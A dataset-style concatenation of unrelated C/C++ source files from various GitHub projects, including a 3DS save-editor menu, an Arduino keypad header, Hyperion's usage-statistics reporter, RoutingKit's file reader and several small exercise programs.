PWPButton = new ImageButton(15.f, 180.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
IslandButton = new ImageButton(89.f, 180.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
MainStreetButton = new ImageButton(163.f, 180.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
AboutButton = new ImageButton(237.f, 180.f, 70.f, 55.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
SaveButton = new ImageButton(220.f, 10.f, 80.f, 33.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
OptionsButton = new ImageButton(220.f, 60.f, 80.f, 33.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
GameSelectButton = new ImageButton(20.f, 10.f, 80.f, 33.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
TownManagerButton = new ImageButton(20.f, 60.f, 80.f, 33.f, 0, KEY_A | KEY_TOUCH, BUTTON_MAIN, Editor_ss);
SaveButton->SetScale(1.15f, 0.6f);
OptionsButton->SetScale(1.15f, 0.6f);
GameSelectButton->SetScale(1.15f, 0.6f);
TownManagerButton->SetScale(1.15f, 0.6f);
ButtonText.push_back(new Text(COLOR_GREY, "Town", TextSize, TextSize, 37.f, 147.f));
ButtonText.push_back(new Text(COLOR_GREY, "Acres", TextSize, TextSize, 110.f, 147.f));
ButtonText.push_back(new Text(COLOR_GREY, "Players", TextSize, TextSize, 178.f, 147.f));
ButtonText.push_back(new Text(COLOR_GREY, "Villagers", TextSize, TextSize, 248.f, 147.f));
ButtonText.push_back(new Text(COLOR_GREY, "PWPs", TextSize, TextSize, 37.f, 217.f));
ButtonText.push_back(new Text(COLOR_GREY, "Island", TextSize, TextSize, 110.f, 217.f));
ButtonText.push_back(new Text(COLOR_GREY, "Shops", TextSize, TextSize, 182.f, 217.f));
ButtonText.push_back(new Text(COLOR_GREY, "About", TextSize, TextSize, 256.f, 217.f));
ColumnText.push_back(new Text(COLOR_GREY, "Game\nSelect", TextSize, TextSize, 44.f, 12.f));
ColumnText.push_back(new Text(COLOR_GREY, " Town\nManager", TextSize, TextSize, 40.f, 60.f));
ColumnText.push_back(new Text(COLOR_GREY, "Save", TextSize, TextSize, 248.f, 18.f));
ColumnText.push_back(new Text(COLOR_GREY, "Options", TextSize, TextSize, 240.f, 67.f));
}
void Editor::MainMenu::Cleanup(void) {
delete TownButton;
delete AcreButton;
delete PlayerButton;
delete VillagerButton;
delete PWPButton;
delete IslandButton;
delete MainStreetButton;
delete AboutButton;
delete SaveButton;
delete OptionsButton;
delete GameSelectButton;
delete TownManagerButton;
TownButton = nullptr;
AcreButton = nullptr;
PlayerButton = nullptr;
VillagerButton = nullptr;
PWPButton = nullptr;
IslandButton = nullptr;
MainStreetButton = nullptr;
AboutButton = nullptr;
SaveButton = nullptr;
OptionsButton = nullptr;
GameSelectButton = nullptr;
TownManagerButton = nullptr;
for (const auto button : ButtonText) {
delete button;
}
for (const auto column : ColumnText) {
delete column;
}
ButtonText.clear();
ColumnText.clear();
}
void Editor::MainMenu::Draw(void) {
draw_base_interface();
C2D_SceneBegin(bottom);
DrawSprite(Common_ss, NLTK_ICON, 126, 10); //NLTK's Icon
// Draw main buttons
SaveButton->Draw();
OptionsButton->Draw();
GameSelectButton->Draw();
TownManagerButton->Draw();
for (int i = 0; i < 2; i++)
{
ColumnText[i]->Draw(); //Column 1 Text
ColumnText[2+i]->Draw(); //Column 2 Text
}
// Draw sub buttons
TownButton->Draw();
AcreButton->Draw();
PlayerButton->Draw();
VillagerButton->Draw();
PWPButton->Draw();
IslandButton->Draw();
MainStreetButton->Draw();
AboutButton->Draw();
for (int i = 0; i < 4; i++)
{
DrawSprite(Editor_ss, ButtonIcon[i], 39+(74*i), 114, GreenFilter); //Row 1 Icons
DrawSprite(Editor_ss, ButtonIcon[4+i], 39+(74*i), 184, GreenFilter); //Row 2 Icons
ButtonText[i]->Draw(); //Row 1 Text
ButtonText[i+4]->Draw(); //Row 2 Text
}
C2D_SceneBegin(top);
InputManager::Instance()->DrawCursor();
C3D_FrameEnd(0);
}
ReturnMode Editor::Spawn_MainMenu()
{
Editor::MainMenu::Initialize();
while (aptMainLoop())
{
checkIfCardInserted();
Editor::MainMenu::Draw();
InputManager::Instance()->RefreshInput();
if (InputManager::Instance()->IsButtonDown(KEY_START))
{
return ReturnMode::Exit;
}
else if (InputManager::Instance()->IsButtonDown(KEY_B))
{
return ReturnMode::MainMenu;
}
if (TownButton->IsActive()) //Town Menu
MsgDisp(top, "Town Menu Coming Soon!");
else if (AcreButton->IsActive()) //Acres Menu
Editor::Spawn_AcresMenu();
else if (PlayerButton->IsActive()) //Player Menu
Editor::Spawn_PlayerMenu();
else if (VillagerButton->IsActive()) { //Villagers Menu
VillagerEditor::Spawn();
}
else if (PWPButton->IsActive()) //Pwp Menu
MsgDisp(top, "PWP Menu Coming Soon!");
else if (IslandButton->IsActive()) //Island Menu
MsgDisp(top, "Island Menu Coming Soon!");
else if (MainStreetButton->IsActive()) //Main Street Menu
MsgDisp(top, "Shops Menu Coming Soon!");
else if (AboutButton->IsActive()) //About Menu
Core::Spawn_AboutMenu();
/* Menu Columns */
else if (OptionsButton->IsActive()) //Options Column
Core::Spawn_ConfigMenu();
else if (GameSelectButton->IsActive()) //Game Select Column
return ReturnMode::GameSelect;
else if (TownManagerButton->IsActive()) //Town Manager Column
MsgDisp(top, "Town Manager is currently disabled.");
//return ReturnMode::Manager;
else if (SaveButton->IsActive()) //Save Column
{
if (Editor::MainMenu::SaveCheck())
{
if (Save::Instance()->Commit(false))
MsgDisp(top, "Save Succeeded!");
else
MsgDisp(top, "Save Failed!");
}
}
}
Editor::MainMenu::Cleanup();
return ReturnMode::Exit;
}
|
6637b1112862227cedab496cd20a4794a0cb2c99
|
cdf361170f46d6009d251014af788f1328ebafce
|
/src/MatrixKeyPadLib/MatrixKeyPad.h
|
a3f4d0c3069b9fe7efadfe24c1fd0621b3326d5a
|
[] |
no_license
|
enrico-bagattin/mercury
|
bafc6582f43b4eb3e929f3a89740972aa13234f9
|
084ddd0d6a2f043c72ec000f0e0f7fa41e4fcff9
|
refs/heads/main
| 2023-02-26T04:09:12.938451
| 2021-01-27T18:13:57
| 2021-01-27T18:13:57
| 333,365,908
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,407
|
h
|
MatrixKeyPad.h
|
/*
* Author: Enrico Bagattin
*
* This library checks the keypad input
*
* Connection diagram for keypad pins:
* Arduino PIN 33 =================== Matrix keypad 1
* Arduino PIN 35 =================== Matrix keypad 2
* Arduino PIN 37 =================== Matrix keypad 3
* Arduino PIN 39 =================== Matrix keypad 4
* Arduino PIN 41 =================== Matrix keypad 5
* Arduino PIN 43 =================== Matrix keypad 6
* Arduino PIN 45 =================== Matrix keypad 7
* Arduino PIN 47 =================== Matrix keypad 8
*/
#include "Keypad.h"
#include "ArduinoSTL.h"
#include <vector>
#define ROW_1 33
#define ROW_2 35
#define ROW_3 37
#define ROW_4 39
#define COL_1 41
#define COL_2 43
#define COL_3 45
#define COL_4 47
const byte ROWS = 4; //four rows
const byte COLS = 4; //four columns
inline std::string inputPin = "";
const char hexaKeys[ROWS][COLS] = {
{'1', '2', '3', 'A'},
{'4', '5', '6', 'B'},
{'7', '8', '9', 'C'},
{'*', '0', '#', 'D'}};
//connect to the row pinouts of the keypad
const byte rowMatrixPins[ROWS] = {ROW_1, ROW_2, ROW_3, ROW_4};
//connect to the column pinouts of the keypad
const byte colMatrixPins[COLS] = {COL_1, COL_2, COL_3, COL_4};
const Keypad customKeypad = Keypad(makeKeymap(hexaKeys), rowMatrixPins, colMatrixPins, ROWS, COLS);
void initialize_keypad();
std::string get_keypad_input();
|
c4f25f346d22cb2336c3830ebb01dd27741acb19
|
27a36481d947a5de37032af60d2c4d95b1fcdaa9
|
/src/ofxDragView.h
|
10ab959900ae714bceca667644f818903aa463c0
|
[] |
no_license
|
erikccoder/ofxDragView
|
6b4ea96ee6e7ce774a0a6dcd9692650908ac6d30
|
f45b0665de40d17b2477d18d6c84eabf5f1efcab
|
refs/heads/master
| 2020-05-17T14:48:56.199651
| 2015-08-04T08:39:30
| 2015-08-04T08:39:30
| 25,672,598
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 682
|
h
|
ofxDragView.h
|
//
// ofxDragView.h
//
//
// Created by erik on 7/21/14.
//
//
#pragma once
#include "ofxMSAInteractiveObject.h"
class ofxDragView : public ofxMSAInteractiveObject
{
protected:
bool onPressed;
int saveX, saveY;
public:
ofxDragView(){}
ofxDragView(int x, int y, int w, int h);
virtual void setup(int x, int y, int w, int h);
virtual void onPress(int x, int y, int button);
virtual void onPressOutside(int x, int y, int button);
virtual void onRelease(int x, int y, int button);
virtual void onReleaseOutside(int x, int y, int button);
virtual void mouseDragged(int x, int y, int button);
void begin();
void end();
};
|
88cb3aea34eb0a576319b0a086f879181d2044d6
|
7d776ab7f9c268505ccb0fb226514ff4e5a221b3
|
/5.2 - factorials/5.2/52.cpp
|
28c269b5d02b8c7ee6384c4c70603c30884b050c
|
[] |
no_license
|
ARRENl/c-plus-plus-book-exercises
|
0ae1589d5df93f04f6095bd28cf6d33753942665
|
a9591f4e7a6ba276eacceeb31acf7bf03775c949
|
refs/heads/master
| 2020-05-30T11:05:29.488931
| 2013-11-07T13:44:45
| 2013-11-07T13:44:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 384
|
cpp
|
52.cpp
|
#include <iostream>
#include <array>
const int AS = 101;
int main()
{
std::array<long double, AS> factorials;
factorials[1] = factorials[0] = 1LL;
for (int i = 2; i < AS; i++)
factorials[i] = i * factorials[i-1];
for (int i = 0; i < AS; i++)
std::cout << i << "! = " << factorials[i] << std::endl;
system("pause");
return 0;
}
|
f82fc611fbcd1ea2cabd82395e33f9ff1132d1b7
|
49b878b65e9eb00232490243ccb9aea9760a4a6d
|
/net/quiche/common/platform/impl/quiche_string_piece_impl.h
|
5c68910f264863267dd30a46babff44d7be1d8ae
|
[
"BSD-3-Clause"
] |
permissive
|
romanzes/chromium
|
5a46f234a233b3e113891a5d643a79667eaf2ffb
|
12893215d9efc3b0b4d427fc60f5369c6bf6b938
|
refs/heads/master
| 2022-12-28T00:20:03.524839
| 2020-10-08T21:01:52
| 2020-10-08T21:01:52
| 302,470,347
| 0
| 0
|
BSD-3-Clause
| 2020-10-08T22:10:22
| 2020-10-08T21:54:38
| null |
UTF-8
|
C++
| false
| false
| 865
|
h
|
quiche_string_piece_impl.h
|
// Copyright (c) 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef NET_QUICHE_COMMON_PLATFORM_IMPL_QUICHE_STRING_PIECE_IMPL_H_
#define NET_QUICHE_COMMON_PLATFORM_IMPL_QUICHE_STRING_PIECE_IMPL_H_
#include "third_party/abseil-cpp/absl/hash/hash.h"
#include "third_party/abseil-cpp/absl/strings/string_view.h"
namespace quiche {
using QuicheStringPieceImpl = absl::string_view;
using QuicheStringPieceHashImpl = absl::Hash<absl::string_view>;
inline size_t QuicheHashStringPairImpl(QuicheStringPieceImpl a,
QuicheStringPieceImpl b) {
auto pair = std::make_pair(a, b);
return absl::Hash<decltype(pair)>()(pair);
}
} // namespace quiche
#endif // NET_QUICHE_COMMON_PLATFORM_IMPL_QUICHE_STRING_PIECE_IMPL_H_
|
145d63f7deb3f58f4cdbe83caa12a7970bded71a
|
6de98b3fcf6df938d64bb93ccc1a9574af0f1144
|
/ga/scheme_mutator.hpp
|
9d4eb6ccf397ad18a4ddfa486cb3d36a768fab8c
|
[] |
no_license
|
lysevi/concret
|
4377fe53a97705747ca4615af5f76eb7dfd0ce20
|
fb8d646cdeca58264adf9df05cff0804c4492991
|
refs/heads/master
| 2021-01-20T21:49:33.273715
| 2011-03-20T07:52:56
| 2011-03-20T07:52:56
| 1,220,329
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 369
|
hpp
|
scheme_mutator.hpp
|
#ifndef _scheme_mutator_
#define _scheme_mutator_
#include <ga/bin_mutator.hpp>
#include <ga/schema.hpp>
class scheme_mutator:virtual public bin_mutator
{
public:
scheme_mutator(int bit_count);
dna operator()(const dna&d,double percent);
void set_scheme_db(const scheme_db&sdb);
bool in_scheme(int value,int pos)const;
protected:
scheme_db m_sdb;
};
#endif
|
38a2549ccaf9cbda3000d4c4a4a872d5ad192325
|
03f59d74f2b447e451424991e6a9b04f77e1e2e3
|
/Workshop1/w1p2/Utils.h
|
55a1b433a17db44f81a41c932b053b9f38ef89e1
|
[] |
no_license
|
ashcyc673/Introduction-to-Object-Oriented-Programming
|
ec7107f07cfdc9a5c2f44f4abe1853f9974334f3
|
e88acec4f1410d90c71700305e6071d720024e7a
|
refs/heads/master
| 2023-05-05T10:21:02.121205
| 2021-05-25T18:39:38
| 2021-05-25T18:39:38
| 370,779,307
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 622
|
h
|
Utils.h
|
//==============================================
// Name: Chiao Ya Chang
// Student Number: 130402191
// Email: cchang76@myseneca.ca
// Section: NEE
// Date: 05/31/2020
//==============================================
// Workshop: 1
// Part: 2
//==============================================
#ifndef W1P2_UTILS_H
#define W1P2_UTILS_H
namespace sdds {
bool isDigit(char singleChar);
bool isChar(char singleChar);
bool isNumber(char userInput[]);
bool isString(char userInput[]);
float average(int mark[], int length);
};
#endif //W1P2_UTILS_H
|
c44a3ef59da69499a1a7c459c25e0643cd0f8138
|
a04fb0464de295fc8ebf463dda16ef77d6226e65
|
/white/week3/task4/main.cpp
|
2afd3deb039b393f39eda21b1d3078151f8359b0
|
[] |
no_license
|
poul250/coursera_cpp
|
0f6fb7c8846d5f53e25ca292fa5bd1ea32dbe0cd
|
75a37594b41364c097d34aa20a51269b2bf7080f
|
refs/heads/master
| 2022-09-07T05:00:51.765614
| 2020-05-28T18:28:46
| 2020-05-28T18:28:46
| 267,665,284
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,297
|
cpp
|
main.cpp
|
#include <string>
#include <vector>
#include <map>
#include <algorithm>
class Person {
public:
void ChangeFirstName(int year, const std::string& first_name) {
first_names.emplace(year, first_name);
}
void ChangeLastName(int year, const std::string& last_name) {
last_names.emplace(year, last_name);
}
std::string GetFullName(int year) {
auto comp = [](const auto& left, const auto& right) {
return left < right.first;
};
auto first_it = std::upper_bound(
first_names.begin(), first_names.end(), year, comp);
auto last_it = std::upper_bound(
last_names.begin(), last_names.end(), year, comp);
if (first_it == first_names.cbegin() && last_it == last_names.cbegin()) {
return "Incognito";
} else if (first_it == first_names.cbegin()) {
return std::prev(last_it)->second + " with unknown first name";
} else if (last_it == last_names.cbegin()) {
return std::prev(first_it)->second + " with unknown last name";
} else {
return std::prev(first_it)->second + " " + std::prev(last_it)->second;
}
}
private:
std::map<int, std::string> first_names;
std::map<int, std::string> last_names;
};
|
6179ddaf524ad693c2e6858dfd615a7bffc95b06
|
a11b6fe8e9b6e59ebcc288ead40ee6548bffb88c
|
/libsrc/utils/Stats.cpp
|
4cb22c5356701816bf53b33055839e6f00d25bcd
|
[
"MIT"
] |
permissive
|
redPanther/hyperion.ng
|
c9781434c4d0a7e9a02c7f292d16472d86e4e6be
|
a8bafd5f62ea984e2d5e8646a92b6413a8bd0cfb
|
refs/heads/master
| 2020-04-04T19:52:00.459684
| 2017-08-04T21:23:58
| 2017-08-04T21:23:58
| 61,221,802
| 3
| 0
| null | 2016-06-15T16:08:12
| 2016-06-15T16:08:11
| null |
UTF-8
|
C++
| false
| false
| 4,194
|
cpp
|
Stats.cpp
|
#include <utils/Stats.h>
#include <utils/SysInfo.h>
#include <HyperionConfig.h>
#include <leddevice/LedDevice.h>
// qt includes
#include <QJsonObject>
#include <QJsonDocument>
#include <QNetworkInterface>
#include <QCryptographicHash>
#include <QFile>
#include <QFileInfo>
#include <QDir>
#include <QDateTime>
Stats::Stats()
: QObject()
, _log(Logger::getInstance("STATS"))
, _hyperion(Hyperion::getInstance())
{
// generate hash
foreach(QNetworkInterface interface, QNetworkInterface::allInterfaces())
{
if (!(interface.flags() & QNetworkInterface::IsLoopBack))
{
_hyperion->id = QString(QCryptographicHash::hash(interface.hardwareAddress().toLocal8Bit().append(_hyperion->getConfigFileName().toLocal8Bit()),QCryptographicHash::Sha1).toHex());
_hash = QString(QCryptographicHash::hash(interface.hardwareAddress().toLocal8Bit(),QCryptographicHash::Sha1).toHex());
break;
}
}
// stop reporting if not found
if(_hash.isEmpty())
{
Warning(_log, "No interface found, abort");
// fallback id
_hyperion->id = QString(QCryptographicHash::hash(_hyperion->getConfigFileName().toLocal8Bit(),QCryptographicHash::Sha1).toHex());
return;
}
// prepare content
QJsonObject config = _hyperion->getConfig();
SysInfo::HyperionSysInfo data = SysInfo::get();
QJsonObject system;
system["kType" ] = data.kernelType;
system["arch" ] = data.architecture;
system["pType" ] = data.productType;
system["pVersion" ] = data.productVersion;
system["pName" ] = data.prettyName;
system["version" ] = QString(HYPERION_VERSION);
system["device" ] = LedDevice::activeDevice();
system["id" ] = _hyperion->id;
system["hw_id" ] = _hash;
system["ledCount" ] = QString::number(Hyperion::getInstance()->getLedCount());
system["comp_sm" ] = config["smoothing"].toObject().take("enable");
system["comp_bb" ] = config["blackborderdetector"].toObject().take("enable");
system["comp_fw" ] = config["forwarder"].toObject().take("enable");
system["comp_udpl" ] = config["udpListener"].toObject().take("enable");
system["comp_bobl" ] = config["boblightServer"].toObject().take("enable");
system["comp_pc" ] = config["framegrabber"].toObject().take("enable");
system["comp_uc" ] = config["grabberV4L2"].toArray().at(0).toObject().take("enable");
QJsonDocument doc(system);
_ba = doc.toJson();
// QNetworkRequest Header
_req.setRawHeader("Content-Type", "application/json");
_req.setRawHeader("Authorization", "Basic SHlwZXJpb25YbDQ5MlZrcXA6ZDQxZDhjZDk4ZjAwYjIw");
connect(&_mgr, SIGNAL(finished(QNetworkReply*)), this, SLOT(resolveReply(QNetworkReply*)));
// 7 days interval
QTimer *timer = new QTimer(this);
connect(timer, SIGNAL(timeout()), this, SLOT(sendHTTP()));
timer->start(604800000);
//delay initial check
QTimer::singleShot(60000, this, SLOT(initialExec()));
}
Stats::~Stats()
{
}
void Stats::initialExec()
{
if(trigger())
{
QTimer::singleShot(0,this, SLOT(sendHTTP()));
}
}
void Stats::sendHTTP()
{
_req.setUrl(QUrl("https://api.hyperion-project.org/api/stats"));
_mgr.post(_req,_ba);
}
void Stats::sendHTTPp()
{
_req.setUrl(QUrl("https://api.hyperion-project.org/api/stats/"+_hyperion->id));
_mgr.put(_req,_ba);
}
void Stats::resolveReply(QNetworkReply *reply)
{
if (reply->error() == QNetworkReply::NoError)
{
// update file timestamp
trigger(true);
// already created, update entry
if(reply->readAll().startsWith("null"))
{
QTimer::singleShot(0, this, SLOT(sendHTTPp()));
}
}
}
bool Stats::trigger(bool set)
{
QString path = QDir::homePath()+"/.hyperion/misc/";
QDir dir;
QFile file(path + _hyperion->id);
if(set && file.open(QIODevice::ReadWrite) )
{
QTextStream stream( &file );
stream << "DO NOT DELETE" << endl;
file.close();
}
else
{
if(!dir.exists(path))
{
dir.mkpath(path);
}
if (!file.exists())
{
if(file.open(QIODevice::ReadWrite))
{
file.close();
return true;
}
return true;
}
QFileInfo info(file);
QDateTime newDate = QDateTime::currentDateTime();
QDateTime oldDate = info.lastModified();
int diff = oldDate.daysTo(newDate);
return diff >= 7 ? true : false;
}
return false;
}
|
6ad96b25159e5824ca97ab2fc08cb35fe52213b0
|
35187ece654f350b8f4a5b013b2ed2c4c7b9c119
|
/OOAD Assignment 2 LMS/LibItem.cpp
|
b1a8f09eb8686301a3759cdf928e55786a09bf68
|
[] |
no_license
|
shaoormunir/library-management-system
|
47b1ca7e99cd469652a2657f6e6c80e319c16bb3
|
3a16a806e01b7d6a4901d814ff9e324c9d6db9ab
|
refs/heads/master
| 2021-06-08T20:24:20.765207
| 2016-10-04T11:01:28
| 2016-10-04T11:01:28
| 69,747,374
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 207
|
cpp
|
LibItem.cpp
|
#include "LibItem.h"
LibItem::LibItem(string name)
{
this->name = name;
}
void LibItem::add_loanItem(LoanItem * item)
{
this->loans.push_back(item);
}
string LibItem::get_name()
{
return this->name;
}
|
f1b9684ed74084f64546da5b16385ea81e37b742
|
cf99607a8145983b9ba64c526361ea1df39ebc34
|
/src/file_data_source.h
|
e3cd2fda89026490cf18ad009ae8e08a37824070
|
[
"BSD-2-Clause"
] |
permissive
|
RoutingKit/RoutingKit
|
7c791c15efae85fec4dff047750a3ce0b7591ddc
|
13bc2f49f41d2e8a750a299487705ca7217d634d
|
refs/heads/master
| 2023-07-07T02:34:04.505809
| 2022-06-06T17:48:08
| 2022-06-06T17:48:08
| 57,213,865
| 343
| 125
|
BSD-2-Clause
| 2023-06-22T11:02:02
| 2016-04-27T13:03:36
|
C++
|
UTF-8
|
C++
| false
| false
| 1,063
|
h
|
file_data_source.h
|
#ifndef FILE_DATA_SOURCE_H
#define FILE_DATA_SOURCE_H
#include <functional>
#include <string>
#ifdef ROUTING_KIT_NO_POSIX
#include <stdio.h>
#endif
namespace RoutingKit{
class FileDataSource{
public:
FileDataSource();
FileDataSource(const char*file_name);
FileDataSource(const std::string&file_name);
unsigned long long size()const;
void rewind();
void open(const char*file_name);
void open(const std::string&file_name) {open(file_name.c_str());}
void close();
FileDataSource(const FileDataSource&) = delete;
const FileDataSource&operator=(const FileDataSource&) = delete;
FileDataSource(FileDataSource&&o);
const FileDataSource&operator=(FileDataSource&&o);
unsigned long long minimum_read_size() const {
return 1;
}
unsigned long long read(char*buffer, unsigned long long to_read);
std::function<unsigned long long(char*, unsigned long long)>get_read_function_object();
~FileDataSource(){ close(); }
private:
#ifndef ROUTING_KIT_NO_POSIX
int file_descriptor;
#else
FILE*file_descriptor;
#endif
};
} // RoutingKit
#endif
|
add2689d827eb3cc8ad254829bcb1cbdedef2c9a
|
6bab8f0c847bb63fb1505756e47a814068689b31
|
/Весна/Suwon - 21 февраля/M.cpp
|
616ee677b94053945078e224087f314d5bec9852
|
[] |
no_license
|
AlexFirfarov/olympic-programming
|
14f21ca1c6d47243b7028029dd0df2f849f021b6
|
209ce18577dd315f52d660ba0bb1fccadf7f53d6
|
refs/heads/main
| 2023-08-20T22:04:05.296753
| 2021-09-27T16:13:28
| 2021-09-27T16:13:28
| 410,950,484
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 718
|
cpp
|
M.cpp
|
#include<iostream>
#include<map>
#include<vector>
#include<string>
#include<algorithm>
#include<iterator>
#include<cmath>
using namespace std;
int my_abs(int N) {
if (N < 0) {
return -N;
}
else return N;
}
int main() {
int A, B, C, D;
while (true) {
cin >> A >> B >> C >> D;
if (A == 0 && B == 0 && C == 0 & D == 0) {
break;
}
int iters = 0;
int dA = A; int dB = B; int dC = C; int dD = D;
while (!(dA == dB && dB == dC && dC == dD && dD == dA)) {
int xA = my_abs(dA - dB);
int xB = my_abs(dB - dC);
int xC = my_abs(dC - dD);
int xD = my_abs(dD - dA);
iters += 1;
dA = xA; dB = xB; dC = xC; dD = xD;
}
cout << iters << "\n";
}
}
|
bf210036c40f9617fa1753f9549c1026bac93130
|
774e6e501bd3ad2c84c8e97e6c73364278b92f85
|
/Game/Game.h
|
b749682bb49639300d27b1a024e16b4d6bb71d83
|
[] |
no_license
|
dyu2021/SFML-Game
|
47555357782d0f64f70715ed14ecdff82ec0851a
|
ec7e565456338ff84c54096fe9bf5ac069593afd
|
refs/heads/master
| 2020-04-11T14:45:52.407236
| 2018-12-20T21:07:33
| 2018-12-20T21:07:33
| 161,867,097
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,684
|
h
|
Game.h
|
//
// Created by bswenson3 on 11/9/16.
//
#pragma once
#include <SFML/Graphics.hpp>
#include <SFML/Audio.hpp>
#include "GameObject.h"
#include "RegularGameObject.h"
#include "AnimatedGameObject.h"
#include "EnemyGameObject.h"
#include <vector>
#include <iostream>
#include "resource_path.h"
#include <sstream>
#include <stdlib.h>
class Game {
public:
//use default screen size
Game();
~Game();
//run the game
void run();
private:
void intro();
void runGame();
void gameOver();
void processEvents();
//update the game objects
void update(sf::Time deltaT); //{}
//draw the scene
void render();
//handle input from the user
void handlePlayerInput(sf::Keyboard::Key key, bool isDown);
sf::RenderWindow m_window;
//RegularGameObject m_player;
//AnimatedGameObject m_player;
std::vector<GameObject *> m_player;
std::vector<GameObject* > items;
std::vector<EnemyGameObject* > enemies;
AnimatedGameObject* m_sprite4 = new AnimatedGameObject(0, 241, 76, 63);
std::vector<GameObject* > screens;
void checkCollision();
void spawnItems(float time);
void spawnEnemies(float time);
void displayScore();
//TODO::these should be moved to game object
float m_speed = 120.0f;
bool m_left = false;
bool m_right = false;
bool m_up = false;
bool m_down = false;
bool m_enter = false;
sf::Font font;
sf::Music music;
sf::SoundBuffer buffer1;
sf::SoundBuffer buffer2;
sf::SoundBuffer buffer3;
sf::Sound sound1;
sf::Sound sound2;
sf::Sound sound3;
int m_score = 0;
int m_highscore = 0;
bool m_nextLevel = false;
bool m_has_Spawned = false;
int m_numOfZombies = 0;
bool m_startScreen = true;
bool m_startGame = false;
bool m_isDead = false;
};
|
5b70158cc75be5c2822ccd92fabe98535fda6579
|
f64ef53f9a521f29d78d6b061603670279647525
|
/03/main.cpp
|
337ce5ed64ba8d902d19f174cfbdc01ca2912503
|
[] |
no_license
|
Mash-Mash/msu_cpp_autumn_2019
|
520fa9110f7cd71b1b058b45974acf7b9d8bdfca
|
8bfa5e8e867e1c151a9dce1bccd674575f864593
|
refs/heads/master
| 2020-08-08T00:04:27.946146
| 2019-12-16T22:29:26
| 2019-12-16T22:29:26
| 213,632,814
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,388
|
cpp
|
main.cpp
|
#include "Matrix.h"
#include <cassert>
#include <iostream>
void check_num(int x, int y)
{
if (x != y)
{
std::cout << "Error in check_num. \nExpected " << y << " got " << x << std::endl;
}
else
{
std::cout << "Correct in check_num. \nExpected " << y << " got " << x << std::endl;
}
}
void check_equal(bool term)
{
if (!term)
{
std::cout << "Error in check_equal" << std::endl;
}
else
{
std::cout << "Correct in check_equal" << std::endl;
}
}
void CheckTest()
{
int n = 0;
Matrix m1(2, 3);
for (int i = 0; i < m1.getRows(); ++i)
{
for (int j = 0; j < m1.getColumns(); ++j)
{
m1[i][j] = ++n;
}
}
std::cout << m1 << std::endl;
check_num(m1[0][0], 1);
check_num(m1[0][1], 2);
check_num(m1[0][2], 3);
check_num(m1[1][0], 4);
check_num(m1[1][1], 5);
check_num(m1[1][2], 6);
try
{
int x = m1[0][100];
}
catch (std::out_of_range& expr)
{
std::cout << expr.what() << std::endl;
}
m1 *= 2;
std::cout << m1 << std::endl;
const size_t rows = 5;
const size_t cols = 3;
const Matrix m(rows, cols);
double x = m[4][1];
std::cout << "x == " << x << std::endl;
std::cout << m << std::endl;
check_equal(m1 == m1);
check_equal(m1 != m);
}
int main(int argc, char* argv[])
{
if (argc == 2 && std::string(argv[1]) == "-test")
CheckTest();
return 0;
}
|
9c1d50dad08c31427acdee9a829d1802ddf09781
|
5a6a992288c66f2281ac1d7619adfc4732950d4a
|
/LED2017资料/v2.00.200(libusb)/HAAS/SpectData.cpp
|
593e9b644c95eebc60697876f420ff038e6752b2
|
[] |
no_license
|
chg95211/LED2017
|
e605cc6ec574f5acfecd7b81f0818f7188dec5d8
|
d3831ed6bb58328d368ff2d22488ba3156c9624a
|
refs/heads/master
| 2020-04-05T11:37:34.061767
| 2018-01-26T02:41:16
| 2018-01-26T02:41:16
| null | 0
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 114,406
|
cpp
|
SpectData.cpp
|
// SpectData.cpp: implementation of the CSpectData class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "MySpec.h"
#include "SpectData.h"
#include "math.h"
#include "ProcessData.h"
#include "Global_MySpec.h"
#include "ProcessData.h"
#include "ExGetColorParaDLL.h"
#include "MySpecDoc.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CImageObject g_ImageLogo;
CImageObject g_ImageCompany;
extern CString g_strPrTitle_E;
extern CString g_strPrTitle_C;
extern CString g_strCompany;
extern CString g_strAddr;
extern BOOL g_bHaveCRI;
extern BOOL g_bPrintLogo;
extern g_bPhoEffSetAuto;
extern float g_fSpectB1,g_fSpectB2,g_fSpectY1,g_fSpectY2;
extern BOOL g_bHavePhoEff;
int CSpectData::m_iv2Num = 0;
float CSpectData::m_fv2WL[421];
float CSpectData::m_fv2VL[421];
extern CProcessData g_doData;
BOOL CSpectData::m_bPrintPh_ = FALSE;
float CSpectData::m_fSetDoWL = 0;
float CSpectData::m_fSetDoLimitAD = 0;
CSpectData::CSpectData()
{
Init();
}
CSpectData::~CSpectData()
{
}
void CSpectData::DrawSpectBW(CDC *pDC,CRect mRect,DATA_DRAW &drawData,CString strNote,BOOL bPrint,BOOL bShow)
{
CFont *pOldFont;
CFont Font1Landscape,Font1Portrait;
if(!bPrint)
{
int iTemp;
iTemp=mRect.Height()/20;
if(iTemp<16)
iTemp=16;
if(iTemp>32)
iTemp=32;
Font1Landscape.CreateFont(iTemp,0,0,0,500,FALSE,FALSE,0,
